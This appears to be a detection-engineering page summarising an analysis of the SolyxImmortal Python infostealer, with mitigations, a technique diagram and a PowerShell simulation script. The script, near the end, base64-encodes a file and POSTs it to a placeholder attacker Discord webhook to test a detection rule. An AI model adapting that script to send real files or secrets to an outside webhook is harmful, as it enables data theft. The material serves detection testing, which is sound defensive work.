SOC Prime Bias: Medium

26 Jan 2026 20:32
newspaper icon CYFIRMA

SOLYXIMMORTAL : PYTHON MALWARE ANALYSIS

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
SOLYXIMMORTAL : PYTHON MALWARE ANALYSIS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

Sol yxImmortal is a Python-based Windows information stealer that collects credentials, documents, keystrokes, and screenshots, then exfiltrates the data through Discord webhooks. The malware executes entirely in user space, maintains persistence by planting a copy in the user’s AppData directory and setting a Run-key registry value, and continues operating without presenting any visible user interface.

Investigation

Analysis revealed two embedded Discord webhook URLs and use of Windows DPAPI to decrypt Chromium-based browser credentials. The stealer logs keystrokes via a keyboard hook, tracks the active window to identify potentially sensitive application titles, and captures screenshots on a recurring schedule. Persistence is implemented by copying the payload to a concealed location under %AppData% and adding a value to the HKCU Run key to trigger execution at user logon.

Mitigation

Enforce application allow-listing, monitor creation and execution of binaries from user-writable paths, detect changes to user-level Run keys, and alert on outbound HTTPS POST activity to Discord webhook endpoints. Strengthen controls around browser credential stores and reduce endpoint exposure by limiting or tightly governing scripting language usage where feasible.

Response

Upon detection, isolate the impacted endpoint, remove the malicious AppData-resident copy, delete the associated Run-key value, and block the identified Discord webhook URLs. Rotate credentials for potentially affected accounts and perform forensic collection of keystroke logs, screenshots, and browser databases to support scoping and root-cause analysis.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Technique nodes tech_python["<b>Technique</b> – <b>T1059.006</b> Command and Scripting Interpreter: Python<br/><b>Description</b>: Executes malicious Python code to launch the implant and initiate functionality."] class tech_python technique tech_registry["<b>Technique</b> – <b>T1547.001</b> Boot or Logon Autostart Execution: Registry Run Keys<br/><b>Description</b>: Copies malware to a writable location and adds a Run key for persistence across logons."] class tech_registry technique tech_hidden["<b>Technique</b> – <b>T1564.005</b> Hide Artifacts: Hidden File System<br/><b>Description</b>: Marks the malicious copy with hidden and system attributes to evade discovery."] class tech_hidden technique tech_browser_creds["<b>Technique</b> – <b>T1555.003</b> Credentials from Password Stores: Web Browsers<br/><b>Description</b>: Extracts and decrypts saved Chromiumu2011based browser credentials using the master key and DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Technique</b> – <b>T1083</b> File and Directory Discovery<br/><b>Description</b>: Enumerates the file system to locate documents of interest."] class tech_file_discovery technique tech_keylogging["<b>Technique</b> – <b>T1056.001</b> Input Capture: Keylogging<br/><b>Description</b>: Records keystrokes via a persistent keyboard listener and stores them in memory."] class tech_keylogging technique tech_screen_capture["<b>Technique</b> – <b>T1113</b> Screen Capture<br/><b>Description</b>: Captures screenshots of the active foreground window regularly and on sensitive activity."] class tech_screen_capture technique tech_archive["<b>Technique</b> – <b>T1560.002</b> Archive Collected Data: Archive via Library<br/><b>Description</b>: Compresses staged data into a ZIP archive using a library to reduce size and mask content."] class tech_archive technique tech_obfuscate["<b>Technique</b> – <b>T1027</b> Obfuscated/Compressed Files and Information<br/><b>Description</b>: Uses compression to hide data before exfiltration."] class tech_obfuscate technique tech_exfil["<b>Technique</b> – <b>T1567.004</b> Exfiltration Over Webhook<br/><b>Description</b>: Sends collected data to attackeru2011controlled Discord webhook URLs over HTTPS."] class tech_exfil technique tech_third_party["<b>Technique</b> – <b>T1102.003</b> Web Service: Thirdu2011Party Services<br/><b>Description</b>: Utilizes Discord as a thirdu2011party service for command and control communications."] class tech_third_party technique %% Artifact and process nodes artifact_python["<b>Artifact</b> – Lethalcompany.py executed on victim host"] class artifact_python artifact process_copy["<b>Process</b> – Copies malware to %AppData% directory"] class process_copy process artifact_persistence["<b>Artifact</b> – Registry Run key created for copied file"] class artifact_persistence artifact artifact_hidden["<b>Artifact</b> – File attributes set to hidden and system"] class artifact_hidden artifact artifact_cred_extraction["<b>Artifact</b> – Extraction of Chrome/Edge passwords and cookies"] class artifact_cred_extraction artifact artifact_file_search["<b>Artifact</b> – Recursive enumeration of .doc, .pdf, .xls files in user home"] class artifact_file_search artifact artifact_keylog["<b>Artifact</b> – Inu2011memory keystroke buffer flushed periodically"] class artifact_keylog artifact artifact_screenshot["<b>Artifact</b> – Screenshots captured based on window title keywords"] class artifact_screenshot artifact artifact_zip["<b>Artifact</b> – ZIP archive created with staged data"] class artifact_zip artifact artifact_exfil["<b>Artifact</b> – HTTPS POST to Discord webhook with archive and screenshots"] class artifact_exfil artifact service_discord["<b>Service</b> – Discord webhook used for C2 and exfiltration"] class service_discord service %% Connections showing the attack flow artifact_python –>|executes| tech_python tech_python –>|enables| process_copy process_copy –>|places file in AppData| artifact_persistence artifact_persistence –>|registers| tech_registry artifact_persistence –>|marks hidden| tech_hidden tech_hidden –>|applies to| artifact_hidden tech_browser_creds –>|collects| artifact_cred_extraction tech_file_discovery –>|collects| artifact_file_search tech_keylogging –>|captures| artifact_keylog tech_screen_capture –>|captures| artifact_screenshot tech_archive –>|creates| artifact_zip tech_obfuscate –>|supports| tech_archive artifact_zip –>|prepared for| tech_exfil tech_exfil –>|uses| service_discord service_discord –>|receives data via| artifact_exfil tech_third_party –>|provides channel for| tech_exfil "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:
    The adversary has already compromised the host and harvested credentials, keylogs, and screenshots (T1056.001, T1113). The next step is to exfiltrate the collected data via a malicious Discord webhook. Using PowerShell (native, no external binaries) the malware crafts a JSON payload containing base‑64‑encoded file data and posts it to the webhook URL. Because the rule only looks for the hostname and HTTP method, this activity should trigger an alert.

  • Regression Test Script:

    # Simulated SolyxImmortal exfiltration via Discord webhook
param(
    [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL",
    [string]$FilePath    = "$env:TEMPsample.txt"
)

# 1. Create a dummy file that represents harvested data
Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s"))

# 2. Encode the file content in Base64 (simulating obfuscation)
$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$b64Data   = [Convert]::ToBase64String($fileBytes)

# 3. Build the JSON payload expected by Discord webhook
$payload = @{
    content = "Exfiltration payload"
    embeds  = @(
        @{
            title = "StolenFile.txt"
            description = $b64Data
            color = 16711680
        }
    )
} | ConvertTo-Json -Depth 5

# 4. Send HTTPS POST request
Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing

Write-Host "Exfiltration attempt sent."

  • Cleanup Commands:

    # Remove the dummy file and clear any residual variables
Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue
Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue
Write-Host "Cleanup complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free